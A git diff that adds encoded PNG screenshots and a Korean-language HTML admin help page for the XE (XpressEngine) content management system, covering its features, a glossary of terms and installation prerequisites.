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 literal 0 HcmV?d00001 diff --git a/admin/help/img/make_general_site/progress.PNG b/admin/help/img/make_general_site/progress.PNG new file mode 100644 index 0000000000000000000000000000000000000000..02b5fc061d3f67fc353fc7be4f52e8dbac9cc249 GIT binary patch literal 5126 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 + + + + +XE Admin Help + + + + + + +

    +

    메뉴건너뛰기

    +
    +

    XE Admin Help

    +
    +
    +
    + +
    + +
    +

    XE 소개

    +
    +

    XE란 무엇인가?

    +

    XE는 'eXpress'와 'Engine'이라는 두 단어를 합쳐 만든 이름으로, '사람들이 자신의 생각이나 느낌을 표현할 수 있도록 도와주는 장치'라는 의미를 담았습니다.

    +

    XE는 서버 컴퓨터에 설치해서 쓰는 웹 사이트 제작 프로그램입니다. 웹 사이트를 만들기 위해서는 HTML, CSS, PHP, SQL 등과 같은 프로그래밍 언어를 기본적으로 알아야 합니다. 하지만 XE를 사용하면 프로그래밍 언어를 잘 모르더라도 웹 사이트를 쉽게 만들 수 있습니다.

    +

    XE는 XE core라는 핵심 프로그램을 기반으로 다양한 추가 기능을 조합하여 사용자가 원하는 웹 사이트를 제작할 수 있습니다.

    +
    + XE 개요 +
    XE 개요
    +
    +
    참고 +

    XE에 관한 자세한 정보는 XE 공식 사이트를 참조하십시오.

    +

    http://www.xpressengine.com

    +
    +
    +
    +

    XE 기능 및 특징

    +

    XE의 기능 및 특징은 다음과 같습니다.

    +

    손쉬운 사이트 구축

    +

    XE는 Textyle(블로그형), CafeXE(카페형), PlanetXE(마이크로 블로그형) 등 다양한 모듈을 제공합니다. 사용자는 만들고자 하는 사이트에 적합한 모듈을 선택하여 편리하게 사이트를 구축할 수 있습니다.

    +

    모듈형 구조

    +

    XE에서 모듈은 하나의 프로그램을 의미합니다. XE는 기능의 제작과 추가, 사용이 쉽도록 레고 블록과 같은 모듈 구조로 제작되었습니다. 사용자는 XE에서 제공하는 기본 모듈과 커뮤니티를 통해 공유되는 확장 기능을 자유롭게 조합하여 다양한 웹 사이트를 제작할 수 있습니다. 개발자는 XE에 추가할 수 있는 새로운 기능의 모듈을 쉽게 개발하고 커뮤니티를 통해 공유할 수 있습니다.

    +

    오픈 커뮤니티

    +

    XE는 오픈 커뮤니티를 통해 다양한 정보를 제공합니다. XE 커뮤니티에는 제로보드 시절부터 사용해 온 사용자와 자유/오픈 소스 프로젝트 멤버가 많습니다. 사용자는 커뮤니티 내에서 원하는 정보를 찾거나, 다른 사용자들에게 자유롭게 문의할 수 있습니다.

    +

    다국어 지원

    +

    XE는 여러 나라의 언어를 지원합니다. 사용자는 웹 사이트를 언어별로 분리하지 않고도 한국어뿐 아니라 영어, 일본어, 중국어, 러시아어 등의 웹 사이트를 쉽게 제작할 수 있습니다.

    +
    +
    +

    용어 정리

    +
    +
    APMsetup
    +
    XE를 설치하는 데 필요한 구성 요소인 아파치 웹 서버, PHP, MySQL 데이터베이스를 한 번에 설치하고, 사용에 필요한 연동 설정을 자동으로 해 주는 프로그램. 공식 사이트는 http://www.apmsetup.com/입니다.
    +
    FileZilla
    +
    무료 FTP(File Transfer Protocol) 접속 프로그램. 공식 사이트는 http://filezilla-project.org/입니다.
    +
    mod_rewrite
    +
    URL을 기억하기 쉽게 줄여 주는 기능. 예를 들어, http://example.com/index.php?module=admin을 http://example.com/admin과 같이 줄여 쓸 수 있습니다. 웹 서버에서 해당 기능을 지원해야 사용할 수 있습니다.
    +
    PuTTY
    +
    텔넷(telnet)이나 SSH(Secure Shell) 프로토콜을 지원하는 원격 접속 프로그램. 공식 사이트는 http://www.putty.nl/이며, 한글 버전은 http://www.kldp.net/projects/iputty/download에서 다운로드할 수 있습니다.
    +
    WPI
    +
    Web Platform Installer의 약어. 마이크로소프트 사에서 웹 플랫폼 제품을 편리하게 사용할 수 있도록 만든 도구이며, 공식 사이트는 http://www.microsoft.com/web/default.aspx입니다.
    +
    XE core
    +
    XE의 설치와 운영을 담당하는 핵심 프로그램. XE core가 있어야 모듈, 레이아웃, 스킨 등의 추가 기능을 설치하고 실행할 수 있습니다.
    +
    XE 추가 기능
    +
    사용자가 사이트를 더 편리하게 운영하도록 XE core에 추가할 수 있는 구성 요소. XE 추가 기능에는 모듈, 애드온, 위젯, 스킨, 위젯 스타일, 레이아웃이 있습니다.
    +
    XE
    +
    XpressEngine의 약어. 서버 컴퓨터에 설치해서 쓰는 오픈 소스 웹 사이트 제작 프로그램이며, 공식 사이트는 http://www.xpressengine.com/입니다.
    +
    가상 사이트
    +
    XE에서 만들어진 웹 페이지를 XE의 기본 사이트와 다른 별개의 사이트처럼 사용할 수 있는 기능.
    +
    레이아웃
    +
    사이트에 설치한 추가 기능의 배치를 담당하는 구성 요소.
    +
    모듈
    +
    XE에 추가해서 사용할 수 있는 하나의 프로그램.
    +
    쉬운 설치
    +
    XE에서 모듈, 스킨 등의 추가 기능을 설치할 때 XE 공식 사이트에서 소스를 다운로드해서 서버에 업로드할 필요 없이 사이트에서 XE 공식 사이트와 연동하여 선택한 추가 기능을 설치할 수 있는 기능.
    +
    스킨
    +
    사이트에 설치된 프로그램의 디자인.
    +
    애드온
    +
    모듈 기능의 동작 사이에 끼어들어 자신의 기능을 수행하는 작은 프로그램.
    +
    위젯 스타일
    +
    위젯의 외관을 꾸미는 구성 요소.
    +
    위젯
    +
    레이아웃이나 페이지 모듈에 삽입되어 동작하는 구성 요소.
    +
    제로보드
    +
    1999년 개발된 게시판 소프트웨어. 제로보드 XE를 거쳐 현재의 XE로 발전되었습니다.
    +
    사이트맵
    +
    각 메뉴를 그룹핑하여 모아놓은 것으로 사이트맵을 사이트의 상단, 좌측, 우측, 하단 등에 배치하여 사용할 수 있습니다.
    +
    +
    +
    +
    +

    설치 및 제거

    +
    +

    설치 전 준비

    +

    XE는 설치형 웹 응용프로그램입니다. XE를 사용하여 사이트를 만들기 위해서는 XE가 설치될 웹 서버가 필요합니다. XE를 설치할 서버의 공간을 확보하는 방법에는 여러 가지가 있지만, 크게 나누어 직접 서버로 사용할 컴퓨터를 확보하는 방법과 비용을 지불하고 웹 호스팅 업체가 제공하는 웹 서버의 공간 일부를 임대하는 방법이 있습니다.

    +
    +

    설치 프로그램 목록

    +

    웹 서버가 구축된 환경에서 XE 설치를 위해 필요한 프로그램 목록은 다음과 같습니다. WPI(Microsoft Web Platform Installer)나 APMsetup을 사용해서 XE를 설치할 경우에는 아래 프로그램이 자동으로 설치됩니다. 그렇지 않은 경우에는 필요한 프로그램과 라이브러리를 미리 확인하여 설치해야 합니다.

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + 설치 프로그램 목록 +
    프로그램필수/선택
    PHPXE Core 1.5.x 이하: PHP 4.x ~ 5.x(5.2.2 제외)필수
    XE Core 1.7 이상: PHP 5.2.4 이상필수
    PHP 라이브러리XML 라이브러리필수
    GD 라이브러리필수
    ICONV선택
    DBMS(Database Management System)CUBRID택1
    Firebird (XE Core 1.7.x 이상부터 공식 지원 안함)
    MySQL 4.1이상
    PostgreSQL (XE Core 1.7.x 이상부터 공식 지원 안함)
    SQLite2/SQLite3 (XE Core 1.7.x 이상부터 공식 지원 안함)
    MS-SQL
    +
    +
    +

    XE core 설치 파일 다운로드

    +

    XE를 사용하여 사이트를 생성하려면 XE core를 설치해야 합니다. XE core는 XE의 설치와 운영을 담당하는 핵심 프로그램입니다. XE core에는 사이트 관리에 사용되는 기능이 없습니다. 하지만 XE core가 있어야 사용자가 추가 기능(모듈, 레이아웃, 스킨 등)을 설치하고 실행할 수 있습니다.

    +

    최신 XE core 설치 파일은 http://code.google.com/p/xe-core/downloads/list에서 무료로 다운로드할 수 있습니다.

    +
    참고 +

    Windows 환경에서 WPI를 사용해 XE를 설치할 때는 XE core 설치 파일을 다운로드할 필요가 없습니다.

    +
    +

    XE core 설치 파일은 zip과 tgz, 두 가지 형식으로 제공됩니다. 내 컴퓨터에서 압축을 해제한 후 서버에 업로드하려면 zip 파일을, 압축 파일을 서버에 업로드한 후 압축을 해제하려면 tgz 파일을 다운로드합니다. 각 형식의 파일 업로드 방식은 "XE core 설치 파일 형식별 업로드 방법"을 참조하십시오.

    +
    +
    +
    +

    서버 환경 설정

    +

    XE는 서버 OS 종류에 상관없이 "설치 프로그램 목록"이 설치된 모든 환경에서 설치할 수 있습니다. 사용자는 XE를 설치하기 전에 필요한 웹 서버 환경을 구축해야 합니다.

    +

